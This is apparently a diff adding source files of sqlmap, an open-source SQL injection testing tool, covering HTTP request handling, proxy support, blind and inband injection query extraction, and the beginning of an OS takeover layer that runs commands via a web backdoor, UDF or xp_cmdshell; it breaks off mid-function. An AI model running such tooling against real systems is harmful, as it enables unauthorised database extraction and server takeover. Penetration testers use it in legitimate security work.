+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.session import setMatchRatio
+
+def comparison(page, headers=None, getSeqMatcher=False):
+    regExpResults = None
+
+    # String to be excluded before calculating page hash
+    if conf.eString and conf.eString in page:
+        index              = page.index(conf.eString)
+        length             = len(conf.eString)
+        pageWithoutString  = page[:index]
+        pageWithoutString += page[index+length:]
+        page               = pageWithoutString
+
+    # Regular expression matches to be excluded before calculating page hash
+    if conf.eRegexp:
+        regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
+
+        if regExpResults:
+            for regExpResult in regExpResults:
+                index              = page.index(regExpResult)
+                length             = len(regExpResult)
+                pageWithoutRegExp  = page[:index]
+                pageWithoutRegExp += page[index+length:]
+                page               = pageWithoutRegExp
+
+    # String to match in page when the query is valid
+    if conf.string:
+        if conf.string in page:
+            return True
+        else:
+            return False
+
+    # Regular expression to match in page when the query is valid
+    if conf.regexp:
+        if re.search(conf.regexp, page, re.I | re.M):
+            return True
+        else:
+            return False
+
+    if conf.seqLock:
+        conf.seqLock.acquire()
+
+    conf.seqMatcher.set_seq2(page)
+    ratio = round(conf.seqMatcher.ratio(), 3)
+
+    if conf.seqLock:
+        conf.seqLock.release()
+
+    # If the url is stable and we did not set yet the match ratio and the
+    # current injected value changes the url page content
+    if conf.matchRatio is None:
+        if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
+            logger.debug("setting match ratio to %.3f" % ratio)
+            conf.matchRatio = ratio
+
+        elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
+            logger.debug("setting match ratio to default value 0.900")
+            conf.matchRatio = 0.900
+
+        if conf.matchRatio is not None:
+            setMatchRatio()
+
+    # If it has been requested to return the ratio and not a comparison
+    # response
+    if getSeqMatcher:
+        return ratio
+
+    # If the url is stable it returns True if the page has the same MD5
+    # hash of the original one
+    # NOTE: old implementation, it did not handle automatically the fact
+    # that the url could be not stable (due to VIEWSTATE, counter, etc.)
+    #elif conf.md5hash is not None:
+    #    return conf.md5hash == md5hash(page)
+
+    # If the url is not stable it returns sequence matcher between the
+    # first untouched HTTP response page content and this content
+    elif ratio > conf.matchRatio:
+        return True
+    else:
+        return False

lib/request/connect.py

@@ -0,0 +1,289 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import httplib
+import re
+import socket
+import time
+import urllib2
+import urlparse
+import traceback
+
+from lib.contrib import multipartpost
+from lib.core.convert import urlencode
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.common import sanitizeAsciiString
+from lib.core.exception import sqlmapConnectionException
+from lib.request.basic import decodePage
+from lib.request.basic import forgeHeaders
+from lib.request.basic import parseResponse
+from lib.request.comparison import comparison
+
+
+class Connect:
+    """
+    This class defines methods used to perform HTTP requests
+    """
+
+    @staticmethod
+    def __getPageProxy(**kwargs):
+        return Connect.getPage(**kwargs)
+
+    @staticmethod
+    def getPage(**kwargs):
+        """
+        This method connects to the target url or proxy and returns
+        the target url page content
+        """
+
+        if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
+            time.sleep(conf.delay)
+
+        url       = kwargs.get('url',       conf.url).replace(" ", "%20")
+        get       = kwargs.get('get',       None)
+        post      = kwargs.get('post',      None)
+        cookie    = kwargs.get('cookie',    None)
+        ua        = kwargs.get('ua',        None)
+        direct    = kwargs.get('direct',    False)
+        multipart = kwargs.get('multipart', False)
+        silent    = kwargs.get('silent',    False)
+        raise404  = kwargs.get('raise404',  True)
+
+        page            = ""
+        cookieStr       = ""
+        requestMsg      = "HTTP request:\n%s " % conf.method
+        requestMsg     += "%s" % urlparse.urlsplit(url)[2] or "/"
+        responseMsg     = "HTTP response "
+        requestHeaders  = ""
+        responseHeaders = ""
+
+        try:
+            if silent:
+                socket.setdefaulttimeout(3)
+    
+            if direct:
+                if "?" in url:
+                    url, params = url.split("?")
+                    params = urlencode(params)
+                    url = "%s?%s" % (url, params)
+                    requestMsg += "?%s" % params
+    
+            elif multipart:
+                #needed in this form because of potential circle dependency problem (option -> update -> connect -> option)
+                from lib.core.option import proxyHandler
+                
+                multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler)
+                conn = multipartOpener.open(url, multipart)
+                page = conn.read()            
+                responseHeaders = conn.info()
+    
+                encoding = responseHeaders.get("Content-Encoding")
+                page = decodePage(page, encoding)
+    
+                return page
+    
+            else:
+                if conf.parameters.has_key("GET") and not get:
+                    get = conf.parameters["GET"]
+    
+                if get:
+                    get = urlencode(get)
+                    url = "%s?%s" % (url, get)
+                    requestMsg += "?%s" % get
+    
+                if conf.method == "POST":
+                    if conf.parameters.has_key("POST") and not post:
+                        post = conf.parameters["POST"]
+    
+            requestMsg += " HTTP/1.1"
+
+            # Perform HTTP request
+            headers        = forgeHeaders(cookie, ua)
+            req            = urllib2.Request(url, post, headers)
+            conn           = urllib2.urlopen(req)
+
+            # Reset the number of connection retries
+            conf.retriesCount = 0
+
+            if not req.has_header("Accept-Encoding"):
+                requestHeaders += "\nAccept-Encoding: identity"
+
+            requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
+
+            if not conf.dropSetCookie:
+                for _, cookie in enumerate(conf.cj):
+                    if not cookieStr:
+                        cookieStr = "Cookie: "
+    
+                    cookie = str(cookie)
+                    index  = cookie.index(" for ")
+    
+                    cookieStr += "%s; " % cookie[8:index]
+
+            if not req.has_header("Cookie") and cookieStr:
+                requestHeaders += "\n%s" % cookieStr[:-2]
+     
+            if not req.has_header("Connection"):
+                requestHeaders += "\nConnection: close"
+
+            requestMsg += "\n%s" % requestHeaders
+
+            if post:
+                requestMsg += "\n%s" % post
+
+            requestMsg += "\n"
+
+            logger.log(9, requestMsg)
+
+            # Get HTTP response
+            page            = conn.read()
+            code            = conn.code
+            status          = conn.msg
+            responseHeaders = conn.info()
+            
+            encoding = responseHeaders.get("Content-Encoding")
+            page = decodePage(page, encoding)
+
+        except urllib2.HTTPError, e:
+            if e.code == 401:
+                exceptionMsg  = "not authorized, try to provide right HTTP "
+                exceptionMsg += "authentication type and valid credentials"
+                raise sqlmapConnectionException, exceptionMsg
+            elif e.code == 404 and raise404:
+                exceptionMsg = "page not found"
+                raise sqlmapConnectionException, exceptionMsg
+            else:
+                page = e.read()
+                code = e.code
+                status = e.msg
+                responseHeaders = e.info()
+
+                debugMsg = "got HTTP error code: %d" % code
+                logger.debug(debugMsg)
+
+        except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), e:
+            tbMsg = traceback.format_exc()
+
+            if "URLError" in tbMsg or "error" in tbMsg:
+                warnMsg = "unable to connect to the target url"
+            elif "timeout" in tbMsg:
+                warnMsg = "connection timed out to the target url"
+            elif "BadStatusLine" in tbMsg:
+                warnMsg  = "the target url responded with an unknown HTTP "
+                warnMsg += "status code, try to force the HTTP User-Agent "
+                warnMsg += "header with option --user-agent or -a"
+            else:
+                warnMsg = "unable to connect to the target url"
+
+            if "BadStatusLine" not in tbMsg:
+                warnMsg += " or proxy"
+
+            if conf.multipleTargets:
+                warnMsg += ", skipping to next url"
+                logger.warn(warnMsg)
+
+                return None, None
+
+            if silent:
+                return None, None
+            elif conf.retriesCount < conf.retries:
+                conf.retriesCount += 1
+
+                warnMsg += ", sqlmap is going to retry the request"
+                logger.warn(warnMsg)
+
+                time.sleep(1)
+
+                socket.setdefaulttimeout(conf.timeout)
+                return Connect.__getPageProxy(**kwargs)
+            else:
+                socket.setdefaulttimeout(conf.timeout)
+                raise sqlmapConnectionException, warnMsg
+
+        socket.setdefaulttimeout(conf.timeout)
+
+        page = sanitizeAsciiString(page)
+        
+        parseResponse(page, responseHeaders)
+        responseMsg += "(%s - %d):\n" % (status, code)
+        
+        if conf.verbose <= 4:
+            responseMsg += str(responseHeaders)
+        elif conf.verbose > 4:
+            responseMsg += "%s\n%s\n" % (responseHeaders, page)
+        
+        logger.log(8, responseMsg)
+
+        return page, responseHeaders
+
+    @staticmethod
+    def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
+        """
+        This method calls a function to get the target url page content
+        and returns its page MD5 hash or a boolean value in case of
+        string match check ('--string' command line parameter)
+        """
+
+        get    = None
+        post   = None
+        cookie = None
+        ua     = None
+
+        if not place:
+            place = kb.injPlace
+
+        if conf.parameters.has_key("GET"):
+            if place == "GET" and value:
+                get = value
+            else:
+                get = conf.parameters["GET"]
+
+        if conf.parameters.has_key("POST"):
+            if place == "POST" and value:
+                post = value
+            else:
+                post = conf.parameters["POST"]
+
+        if conf.parameters.has_key("Cookie"):
+            if place == "Cookie" and value:
+                cookie = value
+            else:
+                cookie = conf.parameters["Cookie"]
+
+        if conf.parameters.has_key("User-Agent"):
+            if place == "User-Agent" and value:
+                ua = value
+            else:
+                ua = conf.parameters["User-Agent"]
+
+        page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent)
+
+        if content:
+            return page, headers
+        elif page:
+            return comparison(page, headers, getSeqMatcher)
+        else:
+            return False

lib/request/inject.py

@@ -0,0 +1,392 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+import time
+
+from lib.core.agent import agent
+from lib.core.common import cleanQuery
+from lib.core.common import dataToSessionFile
+from lib.core.common import expandAsteriskForColumns
+from lib.core.common import parseUnionPage
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.data import temp
+from lib.request.connect import Connect as Request
+from lib.techniques.inband.union.use import unionUse
+from lib.techniques.blind.inference import bisection
+from lib.utils.resume import queryOutputLength
+from lib.utils.resume import resume
+
+def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
+    start = time.time()
+
+    if ( conf.eta or conf.threads > 1 ) and kb.dbms:
+        _, length, _ = queryOutputLength(expression, payload)
+    else:
+        length = None
+
+    dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
+
+    count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
+    duration = int(time.time() - start)
+
+    if conf.eta and length:
+        infoMsg = "retrieved: %s" % value
+        logger.info(infoMsg)
+
+    debugMsg = "performed %d queries in %d seconds" % (count, duration)
+    logger.debug(debugMsg)
+
+    return value
+
+def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
+    outputs     = []
+    origExpr    = None
+
+    for field in expressionFieldsList:
+        output = None
+
+        if field.startswith("ROWNUM "):
+            continue
+
+        if isinstance(num, int):
+            origExpr   = expression
+            expression = agent.limitQuery(num, expression, field)
+
+        if "ROWNUM" in expressionFieldsList:
+            expressionReplaced = expression
+        else:
+            expressionReplaced = expression.replace(expressionFields, field, 1)
+
+        if resumeValue:
+            output = resume(expressionReplaced, payload)
+
+        if not output or ( expected == "int" and not output.isdigit() ):
+            if output:
+                warnMsg  = "expected value type %s, resumed '%s', " % (expected, output)
+                warnMsg += "sqlmap is going to retrieve the value again"
+                logger.warn(warnMsg)
+
+            output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
+
+        if isinstance(num, int):
+            expression = origExpr
+
+        outputs.append(output)
+
+    return outputs
+
+def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
+    """
+    Retrieve the output of a SQL query characted by character taking
+    advantage of an blind SQL injection vulnerability on the affected
+    parameter through a bisection algorithm.
+    """
+
+    query          = agent.prefixQuery(" %s" % temp.inference)
+    query          = agent.postfixQuery(query)
+    payload        = agent.payload(newValue=query)
+    count          = None
+    startLimit     = 0
+    stopLimit      = None
+    outputs        = []
+    test           = None
+    untilLimitChar = None
+    untilOrderChar = None
+
+    if resumeValue:
+        output = resume(expression, payload)
+    else:
+        output = None
+
+    if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
+        return output
+
+    if not unpack:
+        return __goInference(payload, expression, charsetType, firstChar, lastChar)
+
+    if kb.dbmsDetected:
+        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
+
+        if len(expressionFieldsList) > 1:
+            infoMsg  = "the SQL query provided has more than a field. "
+            infoMsg += "sqlmap will now unpack it into distinct queries "
+            infoMsg += "to be able to retrieve the output even if we "
+            infoMsg += "are going blind"
+            logger.info(infoMsg)
+
+        # If we have been here from SQL query/shell we have to check if
+        # the SQL query might return multiple entries and in such case
+        # forge the SQL limiting the query output one entry per time
+        # NOTE: I assume that only queries that get data from a table
+        # can return multiple entries
+        if fromUser and " FROM " in expression:
+            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
+            topLimit    = re.search("TOP\s+([\d]+)\s+", expression, re.I)
+
+            if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
+                if kb.dbms in ( "MySQL", "PostgreSQL" ):
+                    limitGroupStart = queries[kb.dbms].limitgroupstart
+                    limitGroupStop  = queries[kb.dbms].limitgroupstop
+
+                    if limitGroupStart.isdigit():
+                        startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+                    stopLimit = limitRegExp.group(int(limitGroupStop))
+                    limitCond = int(stopLimit) > 1
+
+                elif kb.dbms == "Microsoft SQL Server":
+                    if limitRegExp:
+                        limitGroupStart = queries[kb.dbms].limitgroupstart
+                        limitGroupStop  = queries[kb.dbms].limitgroupstop
+
+                        if limitGroupStart.isdigit():
+                            startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+                        stopLimit = limitRegExp.group(int(limitGroupStop))
+                        limitCond = int(stopLimit) > 1
+                    elif topLimit:
+                        startLimit = 0
+                        stopLimit  = int(topLimit.group(1))
+                        limitCond  = int(stopLimit) > 1
+
+                elif kb.dbms == "Oracle":
+                    limitCond = False
+            else:
+                limitCond = True
+
+            # I assume that only queries NOT containing a "LIMIT #, 1"
+            # (or similar depending on the back-end DBMS) can return
+            # multiple entries
+            if limitCond:
+                if limitRegExp:
+                    stopLimit = int(stopLimit)
+
+                    # From now on we need only the expression until the " LIMIT "
+                    # (or similar, depending on the back-end DBMS) word
+                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
+                        stopLimit += startLimit
+                        untilLimitChar = expression.index(queries[kb.dbms].limitstring)
+                        expression = expression[:untilLimitChar]
+
+                    elif kb.dbms == "Microsoft SQL Server":
+                        stopLimit += startLimit
+
+                if not stopLimit or stopLimit <= 1:
+                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
+                        test = "n"
+                    elif batch:
+                        test = "y"
+                    else:
+                        message  = "can the SQL query provided return "
+                        message += "multiple entries? [Y/n] "
+                        test = readInput(message, default="Y")
+
+                if not test or test[0] in ("y", "Y"):
+                    # Count the number of SQL query entries output
+                    countFirstField   = queries[kb.dbms].count % expressionFieldsList[0]
+                    countedExpression = expression.replace(expressionFields, countFirstField, 1)
+
+                    if re.search(" ORDER BY ", expression, re.I):
+                        untilOrderChar = countedExpression.index(" ORDER BY ")
+                        countedExpression = countedExpression[:untilOrderChar]
+
+                    if resumeValue:
+                        count = resume(countedExpression, payload)
+
+                    if not stopLimit:
+                        if not count or not count.isdigit():
+                            count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
+
+                        if count and count.isdigit() and int(count) > 0:
+                            count = int(count)
+
+                            if batch:
+                                stopLimit = count
+                            else:
+                                message  = "the SQL query provided can return "
+                                message += "up to %d entries. How many " % count
+                                message += "entries do you want to retrieve?\n"
+                                message += "[a] All (default)\n[#] Specific number\n"
+                                message += "[q] Quit"
+                                test = readInput(message, default="a")
+
+                                if not test or test[0] in ("a", "A"):
+                                    stopLimit = count
+
+                                elif test[0] in ("q", "Q"):
+                                    return "Quit"
+
+                                elif test.isdigit() and int(test) > 0 and int(test) <= count:
+                                    stopLimit = int(test)
+
+                                    infoMsg  = "sqlmap is now going to retrieve the "
+                                    infoMsg += "first %d query output entries" % stopLimit
+                                    logger.info(infoMsg)
+
+                                elif test[0] in ("#", "s", "S"):
+                                    message = "How many? "
+                                    stopLimit = readInput(message, default="10")
+
+                                    if not stopLimit.isdigit():
+                                        errMsg = "Invalid choice"
+                                        logger.error(errMsg)
+
+                                        return None
+
+                                    else:
+                                        stopLimit = int(stopLimit)
+
+                                else:
+                                    errMsg = "Invalid choice"
+                                    logger.error(errMsg)
+
+                                    return None
+
+                        elif count and not count.isdigit():
+                            warnMsg  = "it was not possible to count the number "
+                            warnMsg += "of entries for the SQL query provided. "
+                            warnMsg += "sqlmap will assume that it returns only "
+                            warnMsg += "one entry"
+                            logger.warn(warnMsg)
+
+                            stopLimit = 1
+
+                        elif ( not count or int(count) == 0 ):
+                            warnMsg  = "the SQL query provided does not "
+                            warnMsg += "return any output"
+                            logger.warn(warnMsg)
+
+                            return None
+
+                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
+                        warnMsg  = "the SQL query provided does not "
+                        warnMsg += "return any output"
+                        logger.warn(warnMsg)
+
+                        return None
+
+                    for num in xrange(startLimit, stopLimit):
+                        output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
+                        outputs.append(output)
+
+                    return outputs
+
+        elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
+            expression = "%s FROM DUAL" % expression
+
+        outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
+
+        returnValue = ", ".join([output for output in outputs])
+
+    else:
+        returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
+
+    return returnValue
+
+def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
+    """
+    Retrieve the output of a SQL query taking advantage of an inband SQL
+    injection vulnerability on the affected parameter.
+    """
+
+    output  = None
+    partial = False
+    data    = []
+
+    condition = (
+                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
+                  and expression in kb.resumedQueries[conf.url].keys()
+                )
+
+    if condition and resumeValue:
+        output = resume(expression, None)
+
+        if not output or ( expected == "int" and not output.isdigit() ):
+            partial = True
+
+    if not output:
+        output = unionUse(expression, resetCounter=True, unpack=unpack)
+
+    if output:
+        data = parseUnionPage(output, expression, partial, condition, sort)
+
+    return data
+
+def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
+    """
+    Called each time sqlmap inject a SQL query on the SQL injection
+    affected parameter. It can call a function to retrieve the output
+    through inband SQL injection (if selected) and/or blind SQL injection
+    (if selected).
+    """
+
+    expression = cleanQuery(expression)
+    expression = expandAsteriskForColumns(expression)
+    value      = None
+
+    expression = expression.replace("DISTINCT ", "")
+
+    if inband and kb.unionPosition:
+        if kb.dbms == "Oracle" and " ORDER BY " in expression:
+            expression = expression[:expression.index(" ORDER BY ")]
+
+        value = __goInband(expression, expected, sort, resumeValue, unpack)
+
+        if not value:
+            warnMsg  = "for some reasons it was not possible to retrieve "
+            warnMsg += "the query output through inband SQL injection "
+            warnMsg += "technique, sqlmap is going blind"
+            logger.warn(warnMsg)
+
+    oldParamFalseCond   = conf.paramFalseCond
+    oldParamNegative    = conf.paramNegative
+    conf.paramFalseCond = False
+    conf.paramNegative  = False
+
+    if blind and not value:
+        value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
+
+    conf.paramFalseCond = oldParamFalseCond
+    conf.paramNegative  = oldParamNegative
+
+    return value
+
+def goStacked(expression, silent=False):
+    expression = cleanQuery(expression)
+
+    debugMsg = "query: %s" % expression
+    logger.debug(debugMsg)
+
+    comment = queries[kb.dbms].comment
+    query   = agent.prefixQuery("; %s" % expression)
+    query   = agent.postfixQuery("%s;%s" % (query, comment))
+    payload = agent.payload(newValue=query)
+    page, _ = Request.queryPage(payload, content=True, silent=silent)
+
+    return payload, page

lib/request/proxy.py

@@ -0,0 +1,130 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import httplib
+import socket
+import urllib
+import urllib2
+
+from lib.core.settings import PYVERSION
+
+if PYVERSION >= "2.6":
+    import ssl
+
+class ProxyHTTPConnection(httplib.HTTPConnection):
+    _ports = {"http" : 80, "https" : 443}
+
+    def request(self, method, url, body=None, headers={}):
+        # Request is called before connect, so can interpret url and get
+        # real host/port to be used to make CONNECT request to proxy
+        proto, rest = urllib.splittype(url)
+
+        if proto is None:
+            raise ValueError, "unknown URL type: %s" % url
+
+        # Get host
+        host, rest = urllib.splithost(rest)
+
+        # Try to get port
+        host, port = urllib.splitport(host)
+
+        # If port is not defined try to get from proto
+        if port is None:
+            try:
+                port = self._ports[proto]
+            except KeyError:
+                raise ValueError, "unknown protocol for: %s" % url
+
+        self._real_host = host
+        self._real_port = int(port)
+
+        httplib.HTTPConnection.request(self, method, rest, body, headers)
+
+    def connect(self):
+        httplib.HTTPConnection.connect(self)
+
+        # Send proxy CONNECT request
+        self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port))
+
+        # Expect a HTTP/1.0 200 Connection established
+        response = self.response_class(self.sock, strict=self.strict, method=self._method)
+        (version, code, message) = response._read_status()
+
+        # Probably here we can handle auth requests...
+        if code != 200:
+            # Proxy returned and error, abort connection, and raise exception
+            self.close()
+
+            raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip())
+
+        # Eat up header block from proxy
+        while True:
+            # Should not use directly fp probably
+            line = response.fp.readline()
+
+            if line == "\r\n":
+                break
+
+class ProxyHTTPSConnection(ProxyHTTPConnection):
+    default_port = 443
+
+    def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
+        ProxyHTTPConnection.__init__(self, host, port)
+        self.key_file = key_file
+        self.cert_file = cert_file
+
+    def connect(self):
+        ProxyHTTPConnection.connect(self)
+
+        # Make the sock ssl-aware
+        if PYVERSION >= "2.6":
+            sslobj    = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
+            self.sock = sslobj
+        else:
+            sslobj    = socket.ssl(self.sock, self.key_file, self.cert_file)
+            self.sock = httplib.FakeSocket(self.sock, sslobj)
+
+class ProxyHTTPHandler(urllib2.HTTPHandler):
+    def __init__(self, proxy=None, debuglevel=0):
+        self.proxy = proxy
+
+        urllib2.HTTPHandler.__init__(self, debuglevel)
+
+    def do_open(self, http_class, req):
+        if self.proxy is not None:
+            req.set_proxy(self.proxy, "http")
+
+        return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
+
+class ProxyHTTPSHandler(urllib2.HTTPSHandler):
+    def __init__(self, proxy=None, debuglevel=0):
+        self.proxy = proxy
+
+        urllib2.HTTPSHandler.__init__(self, debuglevel)
+
+    def do_open(self, http_class, req):
+        if self.proxy is not None:
+            req.set_proxy(self.proxy, "https")
+
+        return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req)

lib/takeover/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/takeover/abstraction.py

@@ -0,0 +1,173 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.dump import dumper
+from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.shell import autoCompletion
+from lib.takeover.udf import UDF
+from lib.takeover.web import Web
+from lib.takeover.xp_cmdshell import xp_cmdshell
+
+class Abstraction(Web, UDF, xp_cmdshell):
+    """
+    This class defines an abstraction layer for OS takeover functionalities
+    to UDF / xp_cmdshell objects
+    """
+
+    def __init__(self):
+        self.envInitialized = False
+        self.alwaysRetrieveCmdOutput = False
+
+        UDF.__init__(self)
+        Web.__init__(self)
+        xp_cmdshell.__init__(self)
+
+    def execCmd(self, cmd, silent=False, forgeCmd=False):
+        if self.webBackdoorUrl and not kb.stackedTest:
+            self.webBackdoorRunCmd(cmd)
+
+        elif kb.dbms in ( "MySQL", "PostgreSQL" ):
+            self.udfExecCmd(cmd, silent=silent)
+
+        elif kb.dbms == "Microsoft SQL Server":
+            self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
+
+        else:
+            errMsg = "Feature not yet implemented for the back-end DBMS"
+            raise sqlmapUnsupportedFeatureException, errMsg
+
+    def evalCmd(self, cmd, first=None, last=None):
+        if self.webBackdoorUrl and not kb.stackedTest:
+            return self.webBackdoorRunCmd(cmd)
+
+        elif kb.dbms in ( "MySQL", "PostgreSQL" ):
+            return self.udfEvalCmd(cmd, first, last)
+
+        elif kb.dbms == "Microsoft SQL Server":
+            return self.xpCmdshellEvalCmd(cmd, first, last)
+
+        else:
+            errMsg = "Feature not yet implemented for the back-end DBMS"
+            raise sqlmapUnsupportedFeatureException, errMsg
+
+    def runCmd(self, cmd):
+        getOutput = None
+
+        if not self.alwaysRetrieveCmdOutput:
+            message   = "do you want to retrieve the command standard "
+            message  += "output? [Y/n/a] "
+            getOutput = readInput(message, default="Y")
+            
+            if getOutput in ("a", "A"):
+                self.alwaysRetrieveCmdOutput = True
+
+        if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
+            output = self.evalCmd(cmd)
+
+            if output:
+                dumper.string("command standard output", output)
+            else:
+                print "No output"
+        else:
+            self.execCmd(cmd, forgeCmd=True)
+
+    def shell(self):
+        if self.webBackdoorUrl and not kb.stackedTest:
+            infoMsg  = "calling OS shell. To quit type "
+            infoMsg += "'x' or 'q' and press ENTER"
+            logger.info(infoMsg)
+
+        else:
